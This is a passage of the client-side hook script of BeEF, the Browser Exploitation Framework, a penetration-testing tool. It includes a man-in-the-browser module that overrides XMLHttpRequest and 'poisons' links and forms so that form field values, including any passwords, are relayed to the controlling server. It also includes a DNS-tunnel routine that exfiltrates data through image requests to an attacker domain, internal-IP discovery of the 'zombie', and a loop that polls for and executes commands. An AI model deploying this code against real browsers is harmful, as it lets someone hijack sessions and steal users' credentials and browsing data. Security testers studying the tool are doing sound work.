10458 if (minutes < 10) minutes = '0' + minutes;
10459
10460 var seconds = o.getUTCSeconds();
10461 if (seconds < 10) seconds = '0' + seconds;
10462
10463 var milli = o.getUTCMilliseconds();
10464 if (milli < 100) milli = '0' + milli;
10465 if (milli < 10) milli = '0' + milli;
10466
10467 return '"' + year + '-' + month + '-' + day + 'T' +
10468 hours + ':' + minutes + ':' + seconds +
10469 '.' + milli + 'Z"';
10470 }
10471
10472 if (o.constructor === Array)
10473 {
10474 var ret = [];
10475 for (var i = 0; i < o.length; i++)
10476 ret.push( $j.toJSON(o[i]) || "null" );
10477
10478 return "[" + ret.join(",") + "]";
10479 }
10480
10481 var pairs = [];
10482 for (var k in o) {
10483 var name;
10484 var type = typeof k;
10485
10486 if (type == "number")
10487 name = '"' + k + '"';
10488 else if (type == "string")
10489 name = $j.quoteString(k);
10490 else
10491 continue; //skip non-string or number keys
10492
10493 if (typeof o[k] == "function")
10494 continue; //skip pairs where the value is a function.
10495
10496 var val = $j.toJSON(o[k]);
10497
10498 pairs.push(name + ":" + val);
10499 }
10500
10501 return "{" + pairs.join(", ") + "}";
10502 }
10503 },
10504
10505 quoteString: function(string) {
10506 if (string.match(this._escapeable))
10507 {
10508 return '"' + string.replace(this._escapeable, function (a)
10509 {
10510 var c = this._meta[a];
10511 if (typeof c === 'string') return c;
10512 c = a.charCodeAt();
10513 return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
10514 }) + '"';
10515 }
10516 return '"' + string + '"';
10517 },
10518
10519 _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
10520
10521 _meta : {
10522 '\b': '\\b',
10523 '\t': '\\t',
10524 '\n': '\\n',
10525 '\f': '\\f',
10526 '\r': '\\r',
10527 '"' : '\\"',
10528 '\\': '\\\\'
10529 }
10530};
10531
10532$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
10533$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
10534
10535beef.regCmp('beef.encode.json');
10536
10537
10538//
10539// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10540// Browser Exploitation Framework (BeEF) - http://beefproject.com
10541// See the file 'doc/COPYING' for copying permission
10542//
10543
10544/*!
10545 * @literal object: beef.net.local
10546 *
10547 * Provides networking functions for the local/internal network of the zombie.
10548 */
10549beef.net.local = {
10550
10551 sock: false,
10552 checkJava: false,
10553 hasJava: false,
10554
10555 /**
10556 * Initializes the java socket. We have to use this method because
10557 * some browsers do not have java installed or it is not accessible.
10558 * in which case creating a socket directly generates an error. So this code
10559 * is invalid:
10560 * sock: new java.net.Socket();
10561 */
10562
10563 initializeSocket: function() {
10564 if(this.checkJava){
10565 if(!beef.browser.hasJava()) {
10566 this.checkJava=True;
10567 this.hasJava=False;
10568 return -1;
10569 }else{
10570 this.checkJava=True;
10571 this.hasJava=True;
10572 return 1;
10573 }
10574 }
10575 else{
10576 if(!this.hasJava) return -1;
10577 else{
10578 try {
10579 this.sock = new java.net.Socket();
10580 } catch(e) {
10581 return -1;
10582 }
10583 return 1;
10584 }
10585 }
10586 },
10587
10588 /**
10589 * Returns the internal IP address of the zombie.
10590 * @return: {String} the internal ip of the zombie.
10591 * @error: return -1 if the internal ip cannot be retrieved.
10592 */
10593 getLocalAddress: function() {
10594 if(!this.hasJava) return false;
10595
10596 this.initializeSocket();
10597
10598 try {
10599 this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
10600 this.sock.connect(new java.net.InetSocketAddress(document.domain, (!
10601
10602document.location.port)?80:document.location.port));
10603
10604 return this.sock.getLocalAddress().getHostAddress();
10605 } catch(e) { return false; }
10606 },
10607
10608 /**
10609 * Returns the internal hostname of the zombie.
10610 * @return: {String} the internal hostname of the zombie.
10611 * @error: return -1 if the hostname cannot be retrieved.
10612 */
10613 getLocalHostname: function() {
10614 if(!this.hasJava) return false;
10615
10616 this.initializeSocket();
10617
10618 try {
10619 this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
10620 this.sock.connect(new java.net.InetSocketAddress(document.domain, (!
10621
10622document.location.port)?80:document.location.port));
10623
10624 return this.sock.getLocalAddress().getHostName();
10625 } catch(e) { return false; }
10626 }
10627
10628};
10629
10630beef.regCmp('beef.net.local');
10631
10632
10633//
10634// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10635// Browser Exploitation Framework (BeEF) - http://beefproject.com
10636// See the file 'doc/COPYING' for copying permission
10637//
10638
10639/**
10640 * @literal object: beef.init
10641 * Contains the beef_init() method which starts the BeEF client-side
10642 * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
10643 *
10644 * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
10645 * and will have a new session id. The new session id will need to know
10646 * the brwoser details. So sendback the browser details again.
10647 */
10648
10649beef.session.get_hook_session_id();
10650
10651if (beef.pageIsLoaded) {
10652 beef.net.browser_details();
10653}
10654
10655window.onload = function () {
10656 beef_init();
10657};
10658
10659window.onpopstate = function (event) {
10660 if (beef.onpopstate.length > 0) {
10661 event.preventDefault;
10662 for (var i = 0; i < beef.onpopstate.length; i++) {
10663 var callback = beef.onpopstate[i];
10664 try {
10665 callback(event);
10666 } catch (e) {
10667 beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
10668 }
10669 return false;
10670 }
10671 }
10672};
10673
10674window.onclose = function (event) {
10675 if (beef.onclose.length > 0) {
10676 event.preventDefault;
10677 for (var i = 0; i < beef.onclose.length; i++) {
10678 var callback = beef.onclose[i];
10679 try {
10680 callback(event);
10681 } catch (e) {
10682 beef.debug("window.onclose - couldn't execute callback: " + e.message);
10683 }
10684 return false;
10685 }
10686 }
10687};
10688
10689/**
10690 * Starts the polling mechanism, and initialize various components:
10691 * - browser details (see browser.js) are sent back to the "/init" handler
10692 * - the polling starts (checks for new commands, and execute them)
10693 * - the logger component is initialized (see logger.js)
10694 * - the Autorun Engine is initialized (see are.js)
10695 */
10696function beef_init() {
10697 if (!beef.pageIsLoaded) {
10698 beef.pageIsLoaded = true;
10699 if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
10700 beef.websocket.start();
10701 beef.net.browser_details();
10702 beef.updater.execute_commands();
10703 beef.logger.start();
10704 }else {
10705 beef.net.browser_details();
10706 beef.updater.execute_commands();
10707 beef.updater.check();
10708 beef.logger.start();
10709 }
10710 }
10711}
10712
10713
10714//
10715// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10716// Browser Exploitation Framework (BeEF) - http://beefproject.com
10717// See the file 'doc/COPYING' for copying permission
10718//
10719
10720
10721beef.mitb = {
10722
10723 cid:null,
10724 curl:null,
10725
10726 init:function (cid, curl) {
10727 beef.mitb.cid = cid;
10728 beef.mitb.curl = curl;
10729 /*Override open method to intercept ajax request*/
10730 var hook_file = "/hook.js";
10731
10732 if (window.XMLHttpRequest && !(window.ActiveXObject)) {
10733
10734 beef.mitb.sniff("Method XMLHttpRequest.open override");
10735 (function (open) {
10736 XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
10737 // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
10738 // or a request initiated by the MiTB itself.
10739 if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
10740 open.call(this, method, url, async, true);
10741 }else {
10742 var portRegex = new RegExp(":[0-9]+");
10743 var portR = portRegex.exec(url);
10744 var requestPort;
10745 if (portR != null) { requestPort = portR[0].split(":")[1]; }
10746
10747 //GET request
10748 if (method == "GET") {
10749 //GET request -> cross-origin
10750 if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort !=
10751
10752document.location.port )) {
10753 beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
10754 window.open(url);
10755 }else { //GET request -> same-origin
10756 beef.mitb.sniff("GET [Ajax Request]: " + url);
10757 if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
10758 var title = "";
10759 if (document.getElementsByTagName("title").length == 0) {
10760 title = document.title;
10761 } else {
10762 title = document.getElementsByTagName("title")[0].innerHTML;
10763 }
10764 // write the url of the page
10765 history.pushState({ Be:"EF" }, title, url);
10766 }
10767 }
10768 }else{
10769 //POST request
10770 beef.mitb.sniff("POST ajax request to: " + url);
10771 open.call(this, method, url, async, true);
10772 }
10773 }
10774 };
10775 })(XMLHttpRequest.prototype.open);
10776 }
10777 },
10778
10779 // Initializes the hook on anchors and forms.
10780 hook:function () {
10781 beef.onpopstate.push(function (event) {
10782 beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
10783 });
10784 beef.onclose.push(function (event) {
10785 beef.mitb.endSession();
10786 });
10787
10788 var anchors = document.getElementsByTagName("a");
10789 var forms = document.getElementsByTagName("form");
10790 var lis = document.getElementsByTagName("li");
10791
10792 for (var i = 0; i < anchors.length; i++) {
10793 anchors[i].onclick = beef.mitb.poisonAnchor;
10794 }
10795 for (var i = 0; i < forms.length; i++) {
10796 beef.mitb.poisonForm(forms[i]);
10797 }
10798
10799 for (var i = 0; i < lis.length; i++) {
10800 if (lis[i].hasAttribute("onclick")) {
10801 lis[i].removeAttribute("onclick");
10802 /*clear*/
10803 lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
10804 /*override*/
10805
10806 }
10807 }
10808 },
10809
10810 // Hooks anchors and prevents them from linking away
10811 poisonAnchor:function (e) {
10812 try {
10813 e.preventDefault;
10814 if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
10815 var title = "";
10816 if (document.getElementsByTagName("title").length == 0) {
10817 title = document.title;
10818 } else {
10819 title = document.getElementsByTagName("title")[0].innerHTML;
10820 }
10821 history.pushState({ Be:"EF" }, title, e.currentTarget);
10822 }
10823 } catch (e) {
10824 beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
10825 }
10826 return false;
10827 },
10828
10829 // Hooks forms and prevents them from linking away
10830 poisonForm:function (form) {
10831 form.onsubmit = function (e) {
10832 var inputs = form.getElementsByTagName("input");
10833 var query = "";
10834 for (var i = 0; i < inputs.length; i++) {
10835 if (i > 0 && i < inputs.length - 1) query += "&";
10836 switch (inputs[i].type) {
10837 case "submit":
10838 break;
10839 default:
10840 query += inputs[i].name + "=" + inputs[i].value;
10841 break;
10842 }
10843 }
10844 e.preventdefault;
10845 beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
10846 history.pushState({ Be:"EF" }, "", form.action);
10847 return false;
10848 }
10849 },
10850
10851 // Fetches a hooked form with AJAX
10852 fetchForm:function (url, query, target) {
10853 try {
10854 var y = new XMLHttpRequest();
10855 y.open('POST', url, false, true);
10856 y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
10857 y.onreadystatechange = function () {
10858 if (y.readyState == 4 && y.responseText != "") {
10859 target.innerHTML = y.responseText;
10860 setTimeout(beef.mitb.hook, 10);
10861 }
10862 };
10863 y.send(query);
10864 beef.mitb.sniff("POST: " + url + "[" + query + "]");
10865 return true;
10866 } catch (x) {
10867 return false;
10868 }
10869 },
10870
10871 // Fetches a hooked link with AJAX
10872 fetch:function (url, target) {
10873 try {
10874 var y = new XMLHttpRequest();
10875 y.open('GET', url, false, true);
10876 y.onreadystatechange = function () {
10877 if (y.readyState == 4 && y.responseText != "") {
10878 target.innerHTML = y.responseText;
10879 setTimeout(beef.mitb.hook, 10);
10880 }
10881 };
10882 y.send(null);
10883 beef.mitb.sniff("GET: " + url);
10884 return true;
10885 } catch (x) {
10886 window.open(url);
10887 beef.mitb.sniff("GET [New Window]: " + url);
10888 return false;
10889 }
10890 },
10891
10892 // Fetches a window.location=http://domainname.com and setting up history
10893 fetchOnclick:function (url) {
10894 try {
10895 var target = document.getElementsByTagName("html")[0];
10896 var y = new XMLHttpRequest();
10897 y.open('GET', url, false, true);
10898 y.onreadystatechange = function () {
10899 if (y.readyState == 4 && y.responseText != "") {
10900 var title = "";
10901 if (document.getElementsByTagName("title").length == 0) {
10902 title = document.title;
10903 }
10904 else {
10905 title = document.getElementsByTagName("title")[0].innerHTML;
10906 }
10907 history.pushState({ Be:"EF" }, title, url);
10908 target.innerHTML = y.responseText;
10909 setTimeout(beef.mitb.hook, 10);
10910 }
10911 };
10912 y.send(null);
10913 beef.mitb.sniff("GET: " + url);
10914
10915 } catch (x) {
10916 // the link is cross-origin, so load the resource in a different tab
10917 window.open(url);
10918 beef.mitb.sniff("GET [New Window]: " + url);
10919 }
10920 },
10921
10922 // Relays an entry to the framework
10923 sniff:function (result) {
10924 try {
10925 beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
10926 } catch (x) {
10927 }
10928 return true;
10929 },
10930
10931 // Signals the Framework that the user has lost the hook
10932 endSession:function () {
10933 beef.mitb.sniff("Window closed.");
10934 }
10935};
10936
10937beef.regCmp('beef.mitb');
10938
10939
10940//
10941// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10942// Browser Exploitation Framework (BeEF) - http://beefproject.com
10943// See the file 'doc/COPYING' for copying permission
10944//
10945
10946/*!
10947 * @literal object: beef.net.dns
10948 *
10949 * request object structure:
10950 * + msgId: {Integer} Unique message ID for the request.
10951 * + domain: {String} Remote domain to retrieve the data.
10952 * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
10953 * + callback: {Function} Callback function to receive the number of requests sent.
10954 */
10955
10956beef.net.dns = {
10957
10958 handler: "dns",
10959
10960 send: function(msgId, data, domain, callback) {
10961
10962 var encode_data = function(str) {
10963 var result="";
10964 for(i=0;i<str.length;++i) {
10965 result+=str.charCodeAt(i).toString(16).toUpperCase();
10966 }
10967 return result;
10968 };
10969
10970 var encodedData = encodeURI(encode_data(data));
10971
10972 beef.debug(encodedData);
10973 beef.debug("_encodedData_ length: " + encodedData.length);
10974
10975 // limitations to DNS according to RFC 1035:
10976 // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
10977 // o Domain names are limited to 255 characters in length (including dots)
10978 // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
10979 // o Subdomains are limited to 63 characters in length (including the trailing dot)
10980
10981 // DNS request structure:
10982 // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
10983 //max_length: 3. 3 . 3 . 63 . x
10984
10985 // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per
10986
10987request.
10988 // for optimal performance, use the following vars and use the whole available space (which needs changes
10989
10990server-side too)
10991 var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
10992 var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
10993 var max_data_segment_length = 63; // by RFC
10994
10995 beef.debug("max_data_segment_length: " + max_data_segment_length);
10996
10997 var dom = document.createElement('b');
10998
10999 String.prototype.chunk = function(n) {
11000 if (typeof n=='undefined') n=100;
11001 return this.match(RegExp('.{1,'+n+'}','g'));
11002 };
11003
11004 var sendQuery = function(query) {
11005 var img = new Image;
11006 //img.src = "http://"+query;
11007 img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
11008 img.onload = function() { dom.removeChild(this); }
11009 img.onerror = function() { dom.removeChild(this); }
11010 dom.appendChild(img);
11011
11012 //experimental
11013 //setTimeout(function(){dom.removeChild(img)},1000);
11014 };
11015
11016 var segments = encodedData.chunk(max_data_segment_length);
11017
11018 var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel
11019
11020request
11021
11022 beef.debug(segments.length);
11023
11024 for (var seq=1; seq<=segments.length; seq++) {
11025 sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
11026 }
11027
11028 // callback - returns the number of queries sent
11029 if (!!callback) callback(segments.length);
11030
11031 }
11032
11033};
11034
11035beef.regCmp('beef.net.dns');
11036
11037
11038
11039//
11040// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
11041// Browser Exploitation Framework (BeEF) - http://beefproject.com
11042// See the file 'doc/COPYING' for copying permission
11043//
11044
11045// beef.net.connection - wraps Mozilla's Network Information API
11046// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
11047// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
11048beef.net.connection = {
11049
11050 /* Returns the connection type
11051 * @example: beef.net.connection.type()
11052 * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
11053 * @return: {String} connection type or 'unknown'.
11054 **/
11055 type: function () {
11056 try {
11057 var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
11058 var type = connection.type;
11059 if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
11060 } catch(e) {
11061 beef.debug("Error retrieving connection type: " + e.message);
11062 return 'unknown';
11063 }
11064 },
11065
11066 /* Returns the maximum downlink speed of the connection
11067 * @example: beef.net.connection.downlinkMax()
11068 * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
11069 * @return: {String} downlink max or 'unknown'.
11070 **/
11071 downlinkMax: function () {
11072 try {
11073 var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
11074 var max = connection.downlinkMax;
11075 if (max) return max; else return 'unknown';
11076 } catch(e) {
11077 beef.debug("Error retrieving connection downlink max: " + e.message);
11078 return 'unknown';
11079 }
11080 }
11081
11082};
11083
11084beef.regCmp('beef.net.connection');
11085
11086
11087
11088beef.net.cors = {
11089
11090 handler: "cors",
11091
11092 /**
11093 * Response Object - used in the beef.net.request callback
11094 */
11095 response:function () {
11096 this.status = null; // 500, 404, 200, 302, etc
11097 this.headers = null; // full response headers
11098 this.body = null; // full response body
11099 },
11100
11101 /**
11102 * Make a cross-origin request using CORS
11103 *
11104 * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
11105 * @param url {String} url
11106 * @param data {String} request body
11107 * @param callback {Function} function to callback on completion
11108 */
11109 request: function(method, url, data, callback) {
11110
11111 var xhr;
11112 var response = new this.response;
11113
11114 if (XMLHttpRequest) {
11115 xhr = new XMLHttpRequest();
11116
11117 if ('withCredentials' in xhr) {
11118 xhr.open(method, url, true);
11119 xhr.onerror = function() {
11120 };
11121 xhr.onreadystatechange = function() {
11122 if (xhr.readyState === 4) {
11123 response.headers = this.getAllResponseHeaders()
11124 response.body = this.responseText;
11125 response.status = this.status;
11126 if (!!callback) {
11127 if (!!response) {
11128 callback(response);
11129 } else {
11130 callback('ERROR: No Response. CORS requests may be denied for this resource.')
11131 }
11132 }
11133 }
11134 };
11135 xhr.send(data);
11136 }
11137 } else if (typeof XDomainRequest != "undefined") {
11138 xhr = new XDomainRequest();
11139 xhr.open(method, url);
11140 xhr.onerror = function() {
11141 };
11142 xhr.onload = function() {
11143 response.headers = this.getAllResponseHeaders()
11144 response.body = this.responseText;
11145 response.status = this.status;
11146 if (!!callback) {
11147 if (!!response) {
11148 callback(response);
11149 } else {
11150 callback('ERROR: No Response. CORS requests may be denied for this resource.')
11151 }
11152 }
11153 };
11154 xhr.send(data);
11155 } else {
11156 if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not
11157
11158sent.');
11159 }
11160
11161 }
11162
11163};
11164
11165beef.regCmp('beef.net.cors');
11166
11167
11168
11169//
11170// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
11171// Browser Exploitation Framework (BeEF) - http://beefproject.com
11172// See the file 'doc/COPYING' for copying permission
11173//
11174
11175beef.are = {
11176 status_success: function(){
11177 return 1;
11178 },
11179 status_unknown: function(){
11180 return 0;
11181 },
11182 status_error: function(){
11183 return -1;
11184 }
11185};
11186beef.regCmp("beef.are");
11187
11188
11189/*
11190 * Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
11191 *
11192 * Use of this source code is governed by a BSD-style license
11193 * that can be found in the LICENSE file in the root of the source
11194 * tree.
11195 */
11196
11197/* More information about these options at jshint.com/docs/options */
11198/* jshint browser: true, camelcase: true, curly: true, devel: true,
11199 eqeqeq: true, forin: false, globalstrict: true, node: true,
11200 quotmark: single, undef: true, unused: strict */
11201/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
11202mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
11203/* exported trace,requestUserMedia */
11204
11205'use strict';
11206
11207var getUserMedia = null;
11208var attachMediaStream = null;
11209var reattachMediaStream = null;
11210var webrtcDetectedBrowser = null;
11211var webrtcDetectedVersion = null;
11212var webrtcMinimumVersion = null;
11213
11214function trace(text) {
11215 // This function is used for logging.
11216 if (text[text.length - 1] === '\n') {
11217 text = text.substring(0, text.length - 1);
11218 }
11219 if (window.performance) {
11220 var now = (window.performance.now() / 1000).toFixed(3);
11221 beef.debug(now + ': ' + text);
11222 } else {
11223 beef.debug(text);
11224 }
11225}
11226
11227if (navigator.mozGetUserMedia) {
11228
11229 webrtcDetectedBrowser = 'firefox';
11230
11231 // the detected firefox version.
11232 webrtcDetectedVersion =
11233 parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
11234
11235 // the minimum firefox version still supported by adapter.
11236 webrtcMinimumVersion = 31;
11237
11238 // The RTCPeerConnection object.
11239 window.RTCPeerConnection = function(pcConfig, pcConstraints) {
11240 if (webrtcDetectedVersion < 38) {
11241 // .urls is not supported in FF < 38.
11242 // create RTCIceServers with a single url.
11243 if (pcConfig && pcConfig.iceServers) {
11244 var newIceServers = [];
11245 for (var i = 0; i < pcConfig.iceServers.length; i++) {
11246 var server = pcConfig.iceServers[i];
11247 if (server.hasOwnProperty('urls')) {
11248 for (var j = 0; j < server.urls.length; j++) {
11249 var newServer = {
11250 url: server.urls[j]
11251 };
11252 if (server.urls[j].indexOf('turn') === 0) {
11253 newServer.username = server.username;
11254 newServer.credential = server.credential;
11255 }
11256 newIceServers.push(newServer);
11257 }
11258 } else {
11259 newIceServers.push(pcConfig.iceServers[i]);
11260 }
11261 }
11262 pcConfig.iceServers = newIceServers;
11263 }
11264 }
11265 return new mozRTCPeerConnection(pcConfig, pcConstraints);
11266 };
11267
11268 // The RTCSessionDescription object.
11269 window.RTCSessionDescription = mozRTCSessionDescription;
11270
11271 // The RTCIceCandidate object.
11272 window.RTCIceCandidate = mozRTCIceCandidate;
11273
11274 // getUserMedia constraints shim.
11275 getUserMedia = (webrtcDetectedVersion < 38) ?
11276 function(c, onSuccess, onError) {
11277 var constraintsToFF37 = function(c) {
11278 if (typeof c !== 'object' || c.require) {
11279 return c;
11280 }
11281 var require = [];
11282 Object.keys(c).forEach(function(key) {
11283 var r = c[key] = (typeof c[key] === 'object') ?
11284 c[key] : {ideal: c[key]};
11285 if (r.exact !== undefined) {
11286 r.min = r.max = r.exact;
11287 delete r.exact;
11288 }
11289 if (r.min !== undefined || r.max !== undefined) {
11290 require.push(key);
11291 }
11292 if (r.ideal !== undefined) {
11293 c.advanced = c.advanced || [];
11294 var oc = {};
11295 oc[key] = {min: r.ideal, max: r.ideal};
11296 c.advanced.push(oc);
11297 delete r.ideal;
11298 if (!Object.keys(r).length) {
11299 delete c[key];
11300 }
11301 }
11302 });
11303 if (require.length) {
11304 c.require = require;
11305 }
11306 return c;
11307 };
11308 beef.debug('spec: ' + JSON.stringify(c));
11309 c.audio = constraintsToFF37(c.audio);
11310 c.video = constraintsToFF37(c.video);
11311 beef.debug('ff37: ' + JSON.stringify(c));
11312 return navigator.mozGetUserMedia(c, onSuccess, onError);
11313 } : navigator.mozGetUserMedia.bind(navigator);
11314
11315 navigator.getUserMedia = getUserMedia;
11316
11317 // Shim for mediaDevices on older versions.
11318 if (!navigator.mediaDevices) {
11319 navigator.mediaDevices = {getUserMedia: requestUserMedia,
11320 addEventListener: function() { },
11321 removeEventListener: function() { }
11322 };
11323 }
11324 navigator.mediaDevices.enumerateDevices =
11325 navigator.mediaDevices.enumerateDevices || function() {
11326 return new Promise(function(resolve) {
11327 var infos = [
11328 {kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
11329 {kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
11330 ];
11331 resolve(infos);
11332 });
11333 };
11334
11335 if (webrtcDetectedVersion < 41) {
11336 // Work around http://bugzil.la/1169665
11337 var orgEnumerateDevices =
11338 navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
11339 navigator.mediaDevices.enumerateDevices = function() {
11340 return orgEnumerateDevices().catch(function(e) {
11341 if (e.name === 'NotFoundError') {
11342 return [];
11343 }
11344 throw e;
11345 });
11346 };
11347 }
11348 // Attach a media stream to an element.
11349 attachMediaStream = function(element, stream) {
11350 beef.debug('Attaching media stream');
11351 element.mozSrcObject = stream;
11352 };
11353
11354 reattachMediaStream = function(to, from) {
11355 beef.debug('Reattaching media stream');
11356 to.mozSrcObject = from.mozSrcObject;
11357 };
11358
11359} else if (navigator.webkitGetUserMedia) {
11360
11361 webrtcDetectedBrowser = 'chrome';
11362
11363 // the detected chrome version.
11364 webrtcDetectedVersion =
11365 parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
11366
11367 // the minimum chrome version still supported by adapter.
11368 webrtcMinimumVersion = 38;
11369
11370 // The RTCPeerConnection object.
11371 window.RTCPeerConnection = function(pcConfig, pcConstraints) {
11372 var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
11373 var origGetStats = pc.getStats.bind(pc);
11374 pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
11375 // If selector is a function then we are in the old style stats so just
11376 // pass back the original getStats format to avoid breaking old users.
11377 if (typeof selector === 'function') {
11378 return origGetStats(selector, successCallback);
11379 }
11380
11381 var fixChromeStats = function(response) {
11382 var standardReport = {};
11383 var reports = response.result();
11384 reports.forEach(function(report) {
11385 var standardStats = {
11386 id: report.id,
11387 timestamp: report.timestamp,
11388 type: report.type
11389 };
11390 report.names().forEach(function(name) {
11391 standardStats[name] = report.stat(name);
11392 });
11393 standardReport[standardStats.id] = standardStats;
11394 });
11395
11396 return standardReport;
11397 };
11398 var successCallbackWrapper = function(response) {
11399 successCallback(fixChromeStats(response));
11400 };
11401 return origGetStats(successCallbackWrapper, selector);
11402 };
11403
11404 return pc;
11405 };
11406
11407 // add promise support
11408 ['createOffer', 'createAnswer'].forEach(function(method) {
11409 var nativeMethod = webkitRTCPeerConnection.prototype[method];
11410 webkitRTCPeerConnection.prototype[method] = function() {
11411 var self = this;
11412 if (arguments.length < 1 || (arguments.length === 1 &&
11413 typeof(arguments[0]) === 'object')) {
11414 var opts = arguments.length === 1 ? arguments[0] : undefined;
11415 return new Promise(function(resolve, reject) {
11416 nativeMethod.apply(self, [resolve, reject, opts]);
11417 });
11418 } else {
11419 return nativeMethod.apply(this, arguments);
11420 }
11421 };
11422 });
11423
11424 ['setLocalDescription', 'setRemoteDescription',
11425 'addIceCandidate'].forEach(function(method) {
11426 var nativeMethod = webkitRTCPeerConnection.prototype[method];
11427 webkitRTCPeerConnection.prototype[method] = function() {
11428 var args = arguments;
11429 var self = this;
11430 return new Promise(function(resolve, reject) {
11431 nativeMethod.apply(self, [args[0],
11432 function() {
11433 resolve();
11434 if (args.length >= 2) {
11435 args[1].apply(null, []);
11436 }
11437 },
11438 function(err) {
11439 reject(err);
11440 if (args.length >= 3) {
11441 args[2].apply(null, [err]);
11442 }
11443 }]
11444 );
11445 });
11446 };
11447 });
11448
11449 // getUserMedia constraints shim.
11450 getUserMedia = function(c, onSuccess, onError) {
11451 var constraintsToChrome = function(c) {
11452 if (typeof c !== 'object' || c.mandatory || c.optional) {
11453 return c;
11454 }
11455 var cc = {};
11456 Object.keys(c).forEach(function(key) {
11457 if (key === 'require' || key === 'advanced') {
11458 return;
11459 }
11460 var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
11461 if (r.exact !== undefined && typeof r.exact === 'number') {
11462 r.min = r.max = r.exact;
11463 }
11464 var oldname = function(prefix, name) {
11465 if (prefix) {
11466 return prefix + name.charAt(0).toUpperCase() + name.slice(1);
11467 }
11468 return (name === 'deviceId') ? 'sourceId' : name;
11469 };
11470 if (r.ideal !== undefined) {
11471 cc.optional = cc.optional || [];
11472 var oc = {};
11473 if (typeof r.ideal === 'number') {
11474 oc[oldname('min', key)] = r.ideal;
11475 cc.optional.push(oc);
11476 oc = {};
11477 oc[oldname('max', key)] = r.ideal;
11478 cc.optional.push(oc);
11479 } else {
11480 oc[oldname('', key)] = r.ideal;
11481 cc.optional.push(oc);
11482 }
11483 }
11484 if (r.exact !== undefined && typeof r.exact !== 'number') {
11485 cc.mandatory = cc.mandatory || {};
11486 cc.mandatory[oldname('', key)] = r.exact;
11487 } else {
11488 ['min', 'max'].forEach(function(mix) {
11489 if (r[mix] !== undefined) {
11490 cc.mandatory = cc.mandatory || {};
11491 cc.mandatory[oldname(mix, key)] = r[mix];
11492 }
11493 });
11494 }
11495 });
11496 if (c.advanced) {
11497 cc.optional = (cc.optional || []).concat(c.advanced);
11498 }
11499 return cc;
11500 };
11501 beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
11502 c.audio = constraintsToChrome(c.audio);
11503 c.video = constraintsToChrome(c.video);
11504 beef.debug('chrome: ' + JSON.stringify(c));
11505 return navigator.webkitGetUserMedia(c, onSuccess, onError);
11506 };
11507 navigator.getUserMedia = getUserMedia;
11508
11509 // Attach a media stream to an element.
11510 attachMediaStream = function(element, stream) {
11511 if (typeof element.srcObject !== 'undefined') {
11512 element.srcObject = stream;
11513 } else if (typeof element.src !== 'undefined') {
11514 element.src = URL.createObjectURL(stream);
11515 } else {
11516 beef.debug('Error attaching stream to element.');
11517 }
11518 };
11519
11520 reattachMediaStream = function(to, from) {
11521 to.src = from.src;
11522 };
11523
11524 if (!navigator.mediaDevices) {
11525 navigator.mediaDevices = {getUserMedia: requestUserMedia,
